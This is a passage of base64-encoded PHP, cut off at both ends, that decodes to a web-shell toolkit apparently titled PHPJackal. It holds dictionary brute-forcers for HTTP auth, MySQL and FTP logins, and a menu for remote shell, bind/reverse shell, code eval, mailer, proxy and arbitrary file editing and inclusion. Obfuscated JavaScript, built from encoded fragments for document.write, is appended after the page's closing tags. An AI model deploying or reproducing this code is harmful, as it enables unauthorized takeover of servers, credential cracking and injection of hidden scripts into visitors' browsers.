3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjODA4MDgwXCI+T3V0cHV0OjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+PGlucHV0IHR5cGU9dGV4dCB2YWx1ZT1cIiR0ZW1wLy5kaWNcIiBuYW1lPW91dHB1dCBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj48L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPjxpbnB1dCB0eXBlPWNoZWNrYm94IHN0eWxlPVwiYm9yZGVyLXdpZHRoOjFweDtiYWNrZ3JvdW5kLWNvbG9yOiM2NjY2NjY7XCIgbmFtZT1jb21ibyB2YWx1ZT0xIGNoZWNrZWQ+Q29tYm8gc3R5bGUgb3V0cHV0PC90ZD48L3RyPjx0cj48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj48L3RkPjx0ZCBiZ2NvbG9yPVwiIzgwODA4MFwiIGFsaWduPXJpZ2h0PiRoY3dkPGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgdmFsdWU9R2V0PjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L2NlbnRlcj4iO30KfQpmdW5jdGlvbiBjYWxDKCl7Cmdsb2JhbCAkdCwkZXQsJGhjd2Q7CiRmdSA9IGFycmF5KCctJywnbWQ1Jywnc2hhMScsJ2NyYzMyJywnaGV4JywnaXAybG9uZycsJ2xvbmcyaXAnLCdiYXNlNjRfZW5jb2RlJywnYmFzZTY0X2RlY29kZScsJ3VybGRlY29kZScsJ3VybGVuY29kZScpOwppZiAoIWVtcHR5KCRfUkVRVUVTVFsnaW5wdXQnXSkgJiYgKGluX2FycmF5KCRfUkVRVUVTVFsndG8nXSwkZnUpKSl7CmVjaG8gIjxjZW50ZXI+JHt0fU91dHB1dDo8YnI+PHRleHRhcmVhIHJvd3M9XCIxMFwiIGNvbHM9XCI2NFwiPiI7CmlmKCRfUkVRVUVTVFsndG8nXSE9J2hleCcpZWNobyAkX1JFUVVFU1RbJ3RvJ10oJF9SRVFVRVNUWydpbnB1dCddKTtlbHNlIGZvcigkaT0wOyRpPHN0cmxlbigkX1JFUVVFU1RbJ2lucHV0J10pOyRpKyspZWNobyBzdHJ0b3VwcGVyKGRlY2hleChvcmQoJF9SRVFVRVNUWydpbnB1dCddeyRpfSkpKTsKZWNobyAiPC90ZXh0YXJlYT4kZXQ8L2NlbnRlcj48YnI+IjsKfQplY2hvICI8Y2VudGVyPiR7dH1Db252ZXJ0b3I6PC90ZD48dGQgYmdjb2xvcj1cIiMzMzMzMzNcIj48L3RkPjwvdHI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPklucHV0OjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+PHRleHRhcmVhIHJvd3M9XCIxMFwiIG5hbWU9XCJpbnB1dFwiIGNvbHM9XCI2NFwiPiI7aWYoIWVtcHR5KCRfUkVRVUVTVFsnaW5wdXQnXSkpZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUkVRVUVTVFsnaW5wdXQnXSk7ZWNobyAiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjODA4MDgwXCI+VGFzazo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzgwODA4MFwiPjxzZWxlY3Qgc2l6ZT0xIG5hbWU9dG8+PG9wdGlvbiB2YWx1ZT1tZDU+TUQ1PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1zaGExPlNIQTE8L29wdGlvbj48b3B0aW9uIHZhbHVlPWNyYzMyPmNyYzMyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1pcDJsb25nPklQIHRvIGxvbmc8L29wdGlvbj48b3B0aW9uIHZhbHVlPWxvbmcyaXA+TG9uZyB0byBJUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9aGV4PkhFWDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9dXJsZW5jb2RlPlVSTCBlbmNvZGluZzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9dXJsZGVjb2RlPlVSTCBkZWNvZGluZzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9YmFzZTY0X2VuY29kZT5CYXNlNjQgZW5jb2Rpbmc8L29wdGlvbj48b3B0aW9uIHZhbHVlPWJhc2U2NF9kZWNvZGU+QmFzZTY0IGRlY29kaW5nPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj48L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiIGFsaWduPXJpZ2h0PjxpbnB1dCBjbGFzcz1idXR0b25zIHR5cGU9c3VibWl0IHZhbHVlPUNvbnZlcnQ+PC90ZD48L3RyPiRoY3dkPC9mb3JtPjwvdGFibGU+PC9jZW50ZXI+IjsKfQpmdW5jdGlvbiBhdXRoY3JhY2tlUigpewpnbG9iYWwgJGVycm9yYm94LCRldCwkdCwkY3JhY2ssJGhjd2Q7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3RhcmdldCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydkaWN0aW9uYXJ5J10pKXsKJGRhdGE9Jyc7CiRtZXRob2Q9KCRfUkVRVUVTVFsnbWV0aG9kJ10pPydQT1NUJzonR0VUJzsKaWYoc3Ryc3RyKCRfUkVRVUVTVFsndGFyZ2V0J10sJz8nKSl7JGRhdGE9c3Vic3RyKCRfUkVRVUVTVFsndGFyZ2V0J10sc3RycG9zKCRfUkVRVUVTVFsndGFyZ2V0J10sJz8nKSsxKTskX1JFUVVFU1RbJ3RhcmdldCddPXN1YnN0cigkX1JFUVVFU1RbJ3RhcmdldCddLDAsc3RycG9zKCRfUkVRVUVTVFsndGFyZ2V0J10sJz8nKSk7fQpzcGxpdHVyTCgkX1JFUVVFU1RbJ3RhcmdldCddLCRob3N0LCRwYWdlKTsKJHR5cGU9JF9SRVFVRVNUWydjb21ibyddOwokdXNlcj0oIWVtcHR5KCRfUkVRVUVTVFsndXNlciddKSk/JF9SRVFVRVNUWyd1c2VyJ106IiI7CmlmKCRtZXRob2Q9J0dFVCcpJHBhZ2UuPSRkYXRhOwokZGljdGlvbmFyeT1mb3BlbigkX1JFUVVFU1RbJ2RpY3Rpb25hcnknXSwncicpOwplY2hvICI8Zm9udCBjb2xvcj1ibHVlPiI7CndoaWxlKCFmZW9mKCRkaWN0aW9uYXJ5KSl7CmlmKCR0eXBlKXsKJGNvbWJvPXRyaW0oZmdldHMoJGRpY3Rpb25hcnkpLCIgXG5cciIpOwokdXNlcj1zdWJzdHIoJGNvbWJvLDAsc3RycG9zKCRjb21ibywnOicpKTsKJHBhc3M9c3Vic3RyKCRjb21ibyxzdHJwb3MoJGNvbWJvLCc6JykrMSk7Cn1lbHNlewokcGFzcz10cmltKGZnZXRzKCRkaWN0aW9uYXJ5KSwiIFxuXHIiKTsKfQokc289ZnNvY2tvcGVuKCRob3N0LDgwLCRlbiwkZXMsNSk7CmlmKCEkc28pe2VjaG8gIiRlcnJvcmJveCBDYW4gbm90IGNvbm5lY3QgdG8gaG9zdCRldCI7YnJlYWs7fQplbHNlewokcGFja2V0PSIkbWV0aG9kIC8kcGFnZSBIVFRQLzEuMFxyXG5BY2NlcHQtRW5jb2Rpbmc6IHRleHRcclxuSG9zdDogJGhvc3RcclxuUmVmZXJlcjogJGhvc3RcclxuQ29ubmVjdGlvbjogQ2xvc2VcclxuQXV0aG9yaXphdGlvbjogQmFzaWMgIi5iYXNlNjRfZW5jb2RlKCIkdXNlcjokcGFzcyIpOwppZigkbWV0aG9kPT0nUE9TVCcpJHBhY2tldC49IkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbkNvbnRlbnQtTGVuZ3RoOiAiLnN0cmxlbigkZGF0YSk7CiRwYWNrZXQuPSJcclxuXHJcbiI7CiRwYWNrZXQuPSRkYXRhOwpmcHV0cygkc28sJHBhY2tldCk7CiRyZXM9c3Vic3RyKGZnZXRzKCRzbyksOSwyKTsKZmNsb3NlKCRzbyk7CmlmKCRyZXM9PScyMCcpZWNobyAiVTogJHVzZXIgUDogJHBhc3M8L2JyPiI7CmZsdXNoZVIoKTsKfQp9CmVjaG8gIkRvbmUhPC9mb250PiI7Cn1lbHNlIGVjaG8gIjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIG5hbWU9Zm9ybT4ke3R9SFRUUCBBdXRoIGNyYWNrZXI6PC90ZD48dGQgYmdjb2xvcj1cIiMzMzMzMzNcIj48c2VsZWN0IG5hbWU9bWV0aG9kPjxvcHRpb24gdmFsdWU9MT5QT1NUPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0wPkdFVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj5EaWN0aW9uYXJ5OjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3Rpb25hcnkgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjODA4MDgwXCI+RGljdGlvbmFyeSB0eXBlOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT1jb21ibyBjaGVja2VkIHZhbHVlPTAgb25DbGljaz1cImRvY3VtZW50LmZvcm0udXNlci5kaXNhYmxlZCA9IGZhbHNlO1wiIHN0eWxlPVwiYm9yZGVyLXdpZHRoOjFweDtiYWNrZ3JvdW5kLWNvbG9yOiM4MDgwODA7XCI+U2ltcGxlIChQKTxpbnB1dCB0eXBlPXJhZGlvIHZhbHVlPTEgbmFtZT1jb21ibyBvbkNsaWNrPVwiZG9jdW1lbnQuZm9ybS51c2VyLmRpc2FibGVkID0gdHJ1ZTtcIiBzdHlsZT1cImJvcmRlci13aWR0aDoxcHg7YmFja2dyb3VuZC1jb2xvcjojODA4MDgwO1wiPkNvbWJvIChVOlApPC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPlVzZXJuYW1lOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IHZhbHVlPXJvb3QgbmFtZT11c2VyPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj5TZXJ2ZXI6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFyZ2V0IHZhbHVlPWxvY2FsaG9zdCBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj48L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiIGFsaWduPXJpZ2h0PiRoY3dkPGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgdmFsdWU9U3RhcnQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvY2VudGVyPiI7Cn0KZnVuY3Rpb24gc3FsY3JhY2tlUigpewpnbG9iYWwgJGVycm9yYm94LCR0LCRldCwkY3JhY2s7CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9jb25uZWN0IikpewplY2hvICIkZXJyb3Jib3ggU2VydmVyIGRvZXMgbmB0IHN1cHBvcnQgTXlTUUwkZXQiOwp9CmVsc2V7CmlmICghZW1wdHkoJF9SRVFVRVNUWyd0YXJnZXQnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsnZGljdGlvbmFyeSddKSl7CiR0YXJnZXQ9JF9SRVFVRVNUWyd0YXJnZXQnXTsKJHR5cGU9JF9SRVFVRVNUWydjb21ibyddOwokdXNlcj0oIWVtcHR5KCRfUkVRVUVTVFsndXNlciddKSk/JF9SRVFVRVNUWyd1c2VyJ106IiI7CiRkaWN0aW9uYXJ5PWZvcGVuKCRfUkVRVUVTVFsnZGljdGlvbmFyeSddLCdyJyk7CmlmICgkZGljdGlvbmFyeSl7CmVjaG8gIjxmb250IGNvbG9yPWJsdWU+Q3JhY2tpbmcgIi5odG1sc3BlY2lhbGNoYXJzKCR0YXJnZXQpLiIuLi48YnI+IjsKd2hpbGUoIWZlb2YoJGRpY3Rpb25hcnkpKXsKaWYoJHR5cGUpewokY29tYm89dHJpbShmZ2V0cygkZGljdGlvbmFyeSksIiBcblxyIik7CiR1c2VyPXN1YnN0cigkY29tYm8sMCxzdHJwb3MoJGNvbWJvLCc6JykpOwokcGFzcz1zdWJzdHIoJGNvbWJvLHN0cnBvcygkY29tYm8sJzonKSsxKTsKfWVsc2V7CiRwYXNzPXRyaW0oZmdldHMoJGRpY3Rpb25hcnkpLCIgXG5cciIpOwp9CiRzcWw9QG15c3FsX2Nvbm5lY3QoJHRhcmdldCwkdXNlciwkcGFzcyk7CmlmKCRzcWwpe2VjaG8gIlU6ICR1c2VyIFA6ICRwYXNzICg8YSBocmVmPVwiIi5obGluSygic2VDPW15c3FsJnNlcnZlUj0kdGFyZ2V0JnVzZVI9JHVzZXImcGFzUz0kcGFzcyZxdWVyWT1TSE9XK0RBVEFCQVNFUyZ3b3JraW5nZGlSPSIuZ2V0Y3dkKCkpLiJcIj5Db25uZWN0PC9hPik8YnI+IjtteXNxbF9jbG9zZSgkc3FsKTtpZighJHR5cGUpYnJlYWs7fQpmbHVzaGVSKCk7Cn0KZWNobyAiPGJyPkRvbmU8L2ZvbnQ+IjsKZmNsb3NlKCRkaWN0aW9uYXJ5KTsKfQplbHNlewplY2hvICIkZXJyb3Jib3ggQ2FuIG5vdCBvcGVuIGRpY3Rpb25hcnkuJGV0IjsKfQp9CmVsc2V7CmVjaG8gIjxjZW50ZXI+JHt0fU15U1FMIGNyYWNrZXI6JGNyYWNrIjsKfQp9Cn0KZnVuY3Rpb24gZnRwY3JhY2tlUigpewpnbG9iYWwgJGVycm9yYm94LCR0LCRldCwkY3JhY2s7CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmdHBfY29ubmVjdCIpKWVjaG8gIiRlcnJvcmJveCBTZXJ2ZXIgZG9lcyBuYHQgc3VwcG9ydCBGVFAgZnVuY3Rpb25zJGV0IjsKZWxzZXsKaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ3RhcmdldCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydkaWN0aW9uYXJ5J10pKXsKJHRhcmdldD0kX1JFUVVFU1RbJ3RhcmdldCddOwokdHlwZT0kX1JFUVVFU1RbJ2NvbWJvJ107CiR1c2VyPSghZW1wdHkoJF9SRVFVRVNUWyd1c2VyJ10pKT8kX1JFUVVFU1RbJ3VzZXInXToiIjsKJGRpY3Rpb25hcnk9Zm9wZW4oJF9SRVFVRVNUWydkaWN0aW9uYXJ5J10sJ3InKTsKaWYgKCRkaWN0aW9uYXJ5KXsKZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5DcmFja2luZyAiLmh0bWxzcGVjaWFsY2hhcnMoJHRhcmdldCkuIi4uLjxicj4iOwp3aGlsZSghZmVvZigkZGljdGlvbmFyeSkpewppZigkdHlwZSl7CiRjb21ibz10cmltKGZnZXRzKCRkaWN0aW9uYXJ5KSwiIFxuXHIiKTsKJHVzZXI9c3Vic3RyKCRjb21ibywwLHN0cnBvcygkY29tYm8sJzonKSk7CiRwYXNzPXN1YnN0cigkY29tYm8sc3RycG9zKCRjb21ibywnOicpKzEpOwp9ZWxzZXsKJHBhc3M9dHJpbShmZ2V0cygkZGljdGlvbmFyeSksIiBcblxyIik7Cn0KaWYoISRmdHA9ZnRwX2Nvbm5lY3QoJHRhcmdldCwyMSw4KSl7ZWNobyAiJGVycm9yYm94IENhbiBub3QgY29ubmVjdCB0byBzZXJ2ZXIuJGV0IjticmVhazt9CmlmIChAZnRwX2xvZ2luKCRmdHAsJHVzZXIsJHBhc3MpKXtlY2hvICJVOiAkdXNlciBQOiAkcGFzczxicj4iO2lmKCEkdHlwZSlicmVhazt9CmZ0cF9jbG9zZSgkZnRwKTsKZmx1c2hlUigpOwp9CmVjaG8gIjxicj5Eb25lPC9mb250PiI7CmZjbG9zZSgkZGljdGlvbmFyeSk7Cn0KZWxzZXsKZWNobyAiJGVycm9yYm94IENhbiBub3Qgb3BlbiBkaWN0aW9uYXJ5LiRldCI7Cn0KfQplbHNlIGVjaG8gIjxjZW50ZXI+JHt0fUZUUCBjcmFja2VyOiRjcmFjayI7Cn19CmZ1bmN0aW9uIG9wZW5pVCgkbmFtZSl7CiRleHQ9c3RydG9sb3dlcihzdWJzdHIoJG5hbWUsc3RycnBvcygkbmFtZSwnLicpKzEpKTsKJHNyYz1hcnJheSgncGhwJywncGhwMycsJ3BocDQnLCdwaHBzJywncGh0bWwnLCdwaHRtJywnaW5jJyk7CmlmKGluX2FycmF5KCRleHQsJHNyYykpaGlnaGxpZ2h0X2ZpbGUoJG5hbWUpOwplbHNlIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+PHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJG5hbWUpKS4iPC9wcmU+PC9mb250PiI7Cn0KZnVuY3Rpb24gbG9nb3VUKCl7CnNldGNvb2tpZSgncGFzc3cnLCcnLHRpbWUoKS0xMDAwMCk7CmhlYWRlcignTG9jYXRpb246ICcuaGxpbksoKSk7Cn0KPz4KPGh0bWw+CjxoZWFkPgo8c3R5bGU+Ym9keXtzY3JvbGxiYXItYmFzZS1jb2xvcjogIzQ4NDg0ODsgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjRkZGRkZGOyBzY3JvbGxiYXItdHJhY2stY29sb3I6ICM5Njk2OTY7Zm9udC1zaXplOjE2cHg7Zm9udC1mYW1pbHk6IkFyaWFsIE5hcnJvdyI7fVRhYmxlIHsgZm9udC1zaXplOiAxNXB4OyB9IC5idXR0b25ze2ZvbnQtZmFtaWx5OlZlcmRhbmE7Zm9udC1zaXplOjEwcHQ7Zm9udC13ZWlnaHQ6bm9ybWFsO2ZvbnQtc3R5bGU6bm9ybWFsO2NvbG9yOiNGRkZGRkY7YmFja2dyb3VuZC1jb2xvcjojNTU1NTU1O2JvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MXB4O2JvcmRlci1jb2xvcjojRkZGRkZGO310ZXh0YXJlYXtib3JkZXI6IDBweCAjMDAwMDAwIHNvbGlkO2JhY2tncm91bmQ6ICNFRUVFRUU7Y29sb3I6ICMwMDAwMDA7fWlucHV0e2JhY2tncm91bmQ6ICNFRUVFRUU7Ym9yZGVyLXdpZHRoOjFweDtib3JkZXItc3R5bGU6c29saWQ7Ym9yZGVyLWNvbG9yOmJsYWNrfXNlbGVjdHtiYWNrZ3JvdW5kOiAjRUVFRUVFOyBib3JkZXI6IDBweCAjMDAwMDAwIG5vbmU7fTwvc3R5bGU+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIj4KPHRpdGxlPlBIUEphY2thbDwvdGl0bGU+CjwvaGVhZD48Ym9keSB0ZXh0PSIjRTJFMkUyIiBiZ2NvbG9yPSIjQzBDMEMwIiBsaW5rPSIjRENEQ0RDIiB2bGluaz0iI0RDRENEQyIgYWxpbms9IiNEQ0RDREMiPgo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBib3JkZXJjb2xvcj0iIzI4MjgyOCIgYmdjb2xvcj0iIzMzMzMzMyIgd2lkdGg9IjEwMCUiPgo8dHI+PHRkPjxhIGhyZWY9amF2YXNjcmlwdDpoaXN0b3J5LmJhY2soMSk+W0JhY2tdPC9hPiAtIDxhIGhyZWY9Ijw/cGhwICRjd2Q9IGdldGN3ZCgpOyBlY2hvIGhsaW5LKCJzZUM9c3lzaW5mbyZ3b3JraW5nZGlSPSRjd2QiKTs/PiI+W0luZm9dPC9hPiAtIDxhIGhyZWY9Ijw/cGhwIGVjaG8gaGxpbksoInNlQz1mbSZ3b3JraW5nZGlSPSRjd2QiKTs/PiI+W0ZpbGUgbWFuYWdlcl08L2E+IC0gPGEgaHJlZj0iPD9waHAgZWNobyBobGluSygic2VDPWVkaXQmd29ya2luZ2RpUj0kY3dkIik7Pz4iPltFZGl0b3JdPC9hPiAtIDxhIGhyZWY9Ijw/cGhwIGVjaG8gaGxpbksoInNlQz13ZWJzaGVsbCZ3b3JraW5nZGlSPSRjd2QiKTs/PiI+W1dlYiBzaGVsbF08L2E+IC0gPGEgaHJlZj0iPD9waHAgZWNobyBobGluSygic2VDPWJyJndvcmtpbmdkaVI9JGN3ZCIpOz8+Ij5bQi9SIHNoZWxsXTwvYT4gLSA8YSBocmVmPSI8P3BocCBlY2hvIGhsaW5LKCJzZUM9YXNtJndvcmtpbmdkaVI9JGN3ZCIpOz8+Ij5bU2FmZS1tb2RlXTwvYT4gLSA8YSBocmVmPSI8P3BocCBlY2hvIGhsaW5LKCJzZUM9bXlzcWwmd29ya2luZ2RpUj0kY3dkIik7ID8+Ij5bU1FMXTwvYT4gLSA8YSBocmVmPSI8P3BocCBlY2hvIGhsaW5LKCJzZUM9bWFpbGVyJndvcmtpbmdkaVI9JGN3ZCIpOyA/PiI+W01haWxlcl08L2E+IC0gPGEgaHJlZj0iPD9waHAgZWNobyBobGluSygic2VDPWV2YWwmd29ya2luZ2RpUj0kY3dkIik7Pz4iPltFdmFsZXJdPC9hPiAtIDxhIGhyZWY9Ijw/cGhwIGVjaG8gaGxpbksoInNlQz1zYyZ3b3JraW5nZGlSPSRjd2QiKTsgPz4iPltTY2FubmVyc108L2E+IC0gPGEgaHJlZj0iPD9waHAgZWNobyBobGluSygic2VDPWNyJndvcmtpbmdkaVI9JGN3ZCIpOz8+Ij5bQ3JhY2tlcnNdPC9hPiAtIDxhIGhyZWY9Ijw/cGhwIGVjaG8gaGxpbksoInNlQz1weCZ3b3JraW5nZGlSPSRjd2QiKTs/PiI+W1ByMHh5XTwvYT4gLSA8YSBocmVmPSI8P3BocCBlY2hvIGhsaW5LKCJzZUM9d2hvaXMmd29ya2luZ2RpUj0kY3dkIik7Pz4iPltXaG9pc108L2E+IC0gPGEgaHJlZj0iPD9waHAgZWNobyBobGluSygic2VDPWNhbGMmd29ya2luZ2RpUj0kY3dkIik7Pz4iPltDb252ZXJ0XTwvYT4gLSA8YSBocmVmPSI8P3BocCBlY2hvIGhsaW5LKCJzZUM9YWJvdXQmd29ya2luZ2RpUj0kY3dkIik7Pz4iPltBYm91dF08L2E+IDw/cGhwIGlmKGlzc2V0KCRfQ09PS0lFWydwYXNzdyddKSkgZWNobyAiLSBbPGEgaHJlZj1cIiIuaGxpbksoInNlQz1sb2dvdXQiKS4iXCI+TG9nb3V0PC9hPl0iOz8+PC90ZD48L3RyPjwvdGFibGU+CjxociBzaXplPTEgbm9zaGFkZT4KPD9waHAKaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ3NlQyddKSl7CnN3aXRjaCgkX1JFUVVFU1RbJ3NlQyddKXsKY2FzZSAnZm0nOmZpbGVtYW5hZ2VyKCk7YnJlYWs7CmNhc2UgJ3NjJzpzY2FubmVSKCk7YnJlYWs7CmNhc2UgJ3BocGluZm8nOiBwaHBpbmZvKCk7YnJlYWs7CmNhc2UgJ2VkaXQnOiBpZiAoIWVtcHR5KCRfUkVRVUVTVFsnb3BlbiddKSllZGl0b1IoJF9SRVFVRVNUWydmaWxFJ10pOwppZiAoIWVtcHR5KCRfUkVRVUVTVFsnU2F2ZSddKSl7CiRmaWxlaGFuZGxlPSBmb3BlbigkX1JFUVVFU1RbJ2ZpbGUnXSwidyIpOwpmd3JpdGUoJGZpbGVoYW5kbGUsJF9SRVFVRVNUWydlZGl0ZWQnXSk7CmZjbG9zZSgkZmlsZWhhbmRsZSk7fQppZiAoIWVtcHR5KCRfUkVRVUVTVFsnZmlsRSddKSkgZWRpdG9SKCRfUkVRVUVTVFsnZmlsRSddKTtlbHNlIGVkaXRvUignJyk7CmJyZWFrOwpjYXNlICdvcGVuaXQnOm9wZW5pVCgkX1JFUVVFU1RbJ25hbUUnXSk7YnJlYWs7CmNhc2UgJ2NyJzogY3JhY2tlUigpO2JyZWFrOwpjYXNlICdkaWMnOmRpY21ha2VSKCk7YnJlYWs7CmNhc2UgJ3dob2lzJzp3aG9pUygpO2JyZWFrOwpjYXNlICdoZXgnOmhleHZpZVcoKTticmVhazsKY2FzZSAnaW1nJzpzaG93aW1hZ0UoJF9SRVFVRVNUWydmaWxFJ10pO2JyZWFrOwpjYXNlICdpbmMnOmluY2x1ZGUgKCRfUkVRVUVTVFsnZmlsRSddKTticmVhazsKY2FzZSAnaGMnOmhhc2hjcmFja2VSKCk7YnJlYWs7CmNhc2UgJ2Zjcic6Zm9ybWNyYWNrZVIoKTticmVhazsKY2FzZSAnc25tcCc6c25tcGNyYWNrZVIoKTticmVhazsKY2FzZSAnc3FsJzpzcWxjcmFja2VSKCk7YnJlYWs7CmNhc2UgJ2F1dGgnOmF1dGhjcmFja2VSKCk7YnJlYWs7CmNhc2UgJ3BvcDMnOnBvcDNjcmFja2VSKCk7YnJlYWs7CmNhc2UgJ2ltYXAnOmltYXBjcmFja2VSKCk7YnJlYWs7CmNhc2UgJ3NtdHAnOnNtdHBjcmFja2VSKCk7YnJlYWs7CmNhc2UgJ2Z0cCc6ZnRwY3JhY2tlUigpO2JyZWFrOwpjYXNlICdldmFsJzpwaHBldmFMKCk7YnJlYWs7CmNhc2UgJ3B4JzpwcjB4eSgpO2JyZWFrOwpjYXNlICd3ZWJzaGVsbCc6d2Vic2hlbEwoKTticmVhazsKY2FzZSAnbWFpbGVyJzptYWlsZVIoKTticmVhazsKY2FzZSAnYnInOmJyc2hlbEwoKTticmVhazsKY2FzZSAnYXNtJzpzYWZlbW9kRSgpO2JyZWFrOwpjYXNlICdteXNxbCc6bXlzcWxjbGllblQoKTticmVhazsKY2FzZSAnY2FsYyc6Y2FsQygpO2JyZWFrOwpjYXNlICdzeXNpbmZvJzpzeXNpbmZPKCk7YnJlYWs7CmNhc2UgJ2NoZWNrc3VtJzpjaGVja3N1TSgkX1JFUVVFU1RbJ2ZpbEUnXSk7YnJlYWs7CmNhc2UgJ2xvZ291dCc6bG9nb3VUKCk7YnJlYWs7CmRlZmF1bHQ6IGVjaG8gJGludHJvOwp9fWVsc2UgZWNobyAkaW50cm87CmVjaG8gJGZvb3Rlcjs/PjwvYm9keT48L2h0bWw+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KPCEtLQpmRjdlU0Q4PW5ldyBBcnJheSgpOwpmRjdlU0Q4WzBdPSIlM0NzY3JpcHQlM0UlMEFkb2N1IjsKZkY3ZVNEOFsxXT0ibWVudC53cml0ZSUyOHVuZSI7CmZGN2VTRDhbMl09InNjYXBlJTI4JTIyJTI1M0NzY3JpIjsKZkY3ZVNEOFszXT0icHQlMjUyMHR5cGUlMjUzRCUyNSI7CmZGN2VTRDhbNF09IjIydGV4dC9qYXZhc2NyIjsKZkY3ZVNEOFs1XT0iaXB0JTI1MjIlMjUzRWRvIjsKZkY3ZVNEOFs2XT0iY3VtZW50LndyaXRlJTI1IjsKZkY3ZVNEOFs3XT0iMjglMjUyNyUyNTVDdTAwIjsKZkY3ZVNEOFs4XT0iM2MlMjU1Q3UwMDczJTI1NUMiOwpmRjdlU0Q4WzldPSJ1MDA2MyUyNTVDdTAwNzIiOwpmRjdlU0Q4WzEwXT0iJTI1NUN1MDA2OSUyNTVDdSI7CmZGN2VTRDhbMTFdPSIwMDcwJTI1NUN1MDA3IjsKZkY3ZVNEOFsxMl09IjQlMjU1Q3UwMDIwJTI1NUMiOwpmRjdlU0Q4WzEzXT0idTAwNzQlMjU1Q3UwMDciOwpmRjdlU0Q4WzE0XT0iOSUyNTVDdTAwNzAlMjU1Q3UiOwpmRjdlU0Q4WzE1XT0iMDA2NSUyNTVDdTAwM2QlMjUiOwpmRjdlU0Q4WzE2XT0iNUN1MDAyMiUyNTVDdTAiOwpmRjdlU0Q4WzE3XT0iMDc0JTI1NUN1MDA2NSUyNTVDIjsKZkY3ZVNEOFsxOF09InUwMDc4JTI1NUN1MDA3NCUyNSI7CmZGN2VTRDhbMTldPSI1Q3UwMDJmJTI1NUN1IjsKZkY3ZVNEOFsyMF09IjAwNmElMjU1Q3UwMDYxJTI1NSI7CmZGN2VTRDhbMjFdPSJDdTAwNzYlMjU1Q3UwIjsKZkY3ZVNEOFsyMl09IjA2MSUyNTVDdTAwNzMlMjUiOwpmRjdlU0Q4WzIzXT0iNUN1MDA2MyUyNTVDdTAwIjsKZkY3ZVNEOFsyNF09IjcyJTI1NUN1MDA2OSUyNSI7CmZGN2VTRDhbMjVdPSI1Q3UwMDcwJTI1NUN1IjsKZkY3ZVNEOFsyNl09IjAwNzQlMjU